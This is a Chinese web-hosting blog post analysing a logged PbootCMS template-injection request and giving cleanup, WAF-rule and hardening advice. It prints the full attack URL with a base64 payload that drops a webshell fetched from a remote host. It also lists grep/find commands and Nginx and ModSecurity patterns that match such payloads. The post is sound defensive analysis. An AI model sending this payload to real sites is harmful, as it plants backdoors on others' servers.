注入请求分析与完整防护建议
一、为什么请求行末尾必须带 HTTP/1.1
GET /index.php?search/?keyword={pboot{user:password}:if(([file_put_co.ntents][0])(([ba.se64_decode][0])([cnVudGltZS9jb21wbGlsZS8wMWMucGhw][0]),(([bas.e64_decode][0])([MU1USXpNekl4MTY2NjY2MTI8P3BocCAKZmlsZV9wdXRfY29udGVudHMoJzAwY2MucGhwJyxmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3d3dy5icGN6eWwyMC5jb20vY2FjaGVzL2NhY2hlc190ZW1wbGF0ZS9kZWZhdWx0L2NvbnRlbnQvb3RlLnR4dCcpKTsKJGZpbGUgPSAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107dW5saW5rKCRmaWxlKTsKPz4x][0]))));//)}xxx{/pboot:if}%20HTTP/1.1 HTTP/1.1
HTTP 请求行(request-line)标准格式是:<方法> <请求目标> <HTTP-版本>\r\n,例如 GET /index.php?x=1 HTTP/1.1。协议版本(如 HTTP/1.1)必须在请求行末尾指明,告知服务器使用哪种协议解析请求。若缺失,服务器可能按 HTTP/0.9 处理或直接返回 400 错误。
二、为什么会看到请求中重复出现 HTTP/1.1(例如:...%20HTTP/1.1 HTTP/1.1)
出现重复通常有三类原因:
1. 攻击者把 HTTP/1.1 作为 payload 写入 URL/参数,而客户端/库在发送时又自动在请求行末尾追加协议标识,结果出现两次。
2. 攻击者故意在 URL/参数中放置 HTTP/1.1 来尝试改变或混淆前端代理 / 后端服务器的解析方式(请求走私、解析差异绕过 WAF)。
3. 攻击脚本或扫描工具拼接错误,payload 包含了协议字段,而底层 HTTP 客户端又再次添加,导致重复。
三、对你给出的具体 payload 的解码与意图(完整呈现)
该 payload 明显是试图把一段 PHP 代码写入站点(drop webshell / loader),并且包含了 file_put_contents、base64_decode、远程 URL 拉取等典型恶意行为。下面是对其中被 base64 解码后得到的 PHP 片段的完整展示与注释:
解码出的 PHP 代码(原样):
该代码会做什么(逐项解释):
1. file_get_contents('http://.../ote.txt'):从远程 URL 拉取内容(很可能是 webshell 或后门脚本)。
2. file_put_contents('00cc.php', ...):把拉取到的内容写入服务器上的 00cc.php,从而实现远程文件落地/持久化后门。
3. $file = $_SERVER['SCRIPT_FILENAME']; unlink($file);:删除当前被写入或被替换的脚本文件(可能用于覆盖后清除痕迹或替换模板文件)。
结论:这是明确的写后门/上传 webshell 的攻击尝试,应作为高危事件处理。
四、该类攻击为何能命中(常见漏洞链)
1. 模板解析器或自定义标签把用户传入的字符串当作模板表达式执行(例如 pboot 模板自带自由表达功能且未严格过滤)。
2. 后台接口没有严格验证权限或 CSRF 保护,攻击者可绕过认证或通过已泄漏凭证发起请求。
3. 文件/缓存目录对运行用户可写且缺乏监控,写入后门文件被直接执行。
五、立即应采取的高优先级补救措施(按顺序执行)
1. 立即封锁该攻击来源:在防火墙或 WAF 中临时添加匹配规则,阻断带有 file_put_contents、base64_decode、HTTP/1.1(作为参数)的请求。
2. 查找并清理已落地的文件(快速检查命令):
# 查找最近被修改或新增的 php 文件(过去 7 天示例) find /www/wwwroot/ -type f -name "*.php" -mtime -7 -ls # 查找包含可疑函数/远程拉取的文件 grep -R --line-number -E "file_put_contents|base64_decode|eval(|file_get_contents(.*http" /www/wwwroot/ # 查找 runtime/cache/ 等可疑目录 ls -la /www/wwwroot/你的网站目录/runtime ls -la /www/wwwroot/你的网站目录/cache
3. 将可写目录权限最小化:把网站运行用户对源码目录的写权限移除,仅保留对必要上传/缓存目录(uploads、runtime、cache)的写权限。
4. 临时下线或只允许白名单 IP 访问后台(若怀疑后台凭据已泄露)。
5. 关闭 allow_url_fopen:在 php.ini 中设置 allow_url_fopen = Off 来阻止 PHP 直接通过 URL 拉取内容(这能减少 file_get_contents 从远程拉取的风险,但需确认业务不会受影响)。
6. 备份与取证:在清理前尽量备份可疑文件及日志(用于事后分析)。
六、建议的 WAF/Nginx 临时规则(用于快速阻断类似 payload)
注意:下面示例是临时快速防护用,生产环境尽量通过 WAF / ModSecurity 规则精细化处理,避免误伤正常请求。
Nginx 配置示例(放在 server{} 内,需测试再上线):
if ($request_uri ~* "(HTTP/1\.1|file_put_contents|base64_decode|eval\()") {
return 444;
}ModSecurity 规则示例(仅作参考):
SecRule REQUEST_URI|ARGS "(file_put_contents|base64_decode|file_get_contents\(.*http|eval\()" \ "id:1000001,phase:2,deny,log,msg:'Blocked suspicious file write / remote fetch payload'
上面规则在 ModSecurity 中放在检测/阻断阶段。部署时先启用检测(DetectionOnly)模式观察误报,再切换到阻断(On)。
七、代码层与配置层的长期防护建议(必须做的)
1. 代码修复:彻底检查模板引擎、自定义标签或自定义解析逻辑,禁止将用户可控内容作为 PHP 代码或模板表达式直接执行。采用白名单解析器或移除不必要的表达式功能。
2. 参数化与输入校验:所有后台接口必须做强校验、鉴权、CSRF 防护;对关键参数采用白名单和长度限制。
3. 最小权限原则:应用运行的系统账号与数据库账号只赋予业务需要的最小权限,勿使用 root 或超级权限运行 web 服务。
4. 监控与告警:对日志中出现的高频可疑字符串(如 union select, file_put_contents, base64_decode)设置告警。
5. 定期扫描:使用 OWASP ZAP、sqlmap(测试环境)、或专业渗透测试对重要后台、文件上传、模板解析点做扫描。
6. WAF 与云防护:部署 ModSecurity/NAXSI 或使用云 WAF(Cloudflare / 阿里 / 腾讯)作为第二道防线,但牢记 WAF 不是替代代码修复的长期手段。
八、用于服务器上快速排查的集中命令(可直接复制运行)
# 查找包含危险函数或远程拉取标记的文件
grep -R --line-number -E "file_put_contents|base64_decode|file_get_contents\(.*http|eval\(" /www/wwwroot/ || true
# 列出最近 30 天内新增或修改的 PHP 文件
find /www/wwwroot/ -type f -name "*.php" -mtime -30 -printf "%TY-%Tm-%Td %TH:%TM %p\n" | sort -r
# 移除 runtime/caches 下的可疑文件(示例,仅在确认后操作)
# rm -f /www/wwwroot/你的网站目录/runtime/complile/*.php执行删除前请先备份并确认该文件确实为恶意或非必要文件,若不确定请先离线取证或把服务器镜像给安全团队分析。
九、如果已经发生入侵(应急步骤)
1. 立即断网或限制访问:将站点切换到维护页面或仅允许白名单 IP 访问后台,防止后续 payload 继续下发。
2. 备份证据:保留 /www/wwwroot、/var/log/nginx、/var/log/php-fpm 日志以及被怀疑文件,最好做文件系统镜像。
3. 清理与恢复:在确认没有后门后,从可信备份恢复站点,或重新部署一份干净代码并恢复数据。
4. 更换凭据:更换后台账号、数据库账号、面板密码以及所有可能泄露的秘钥。
5. 复盘与加固:找出入侵路径(如模板解析漏洞、上传点漏洞或弱口令),补丁、加固并重新测试。
- 上一篇:宝塔网站防黑客注入的攻略
- 下一篇:南京同行公司给客户使用香港服务器要小心
请立即点击咨询我们或拨打咨询热线: 138-519-41123,我们会详细为你一一解答你心中的疑难。项目经理在线


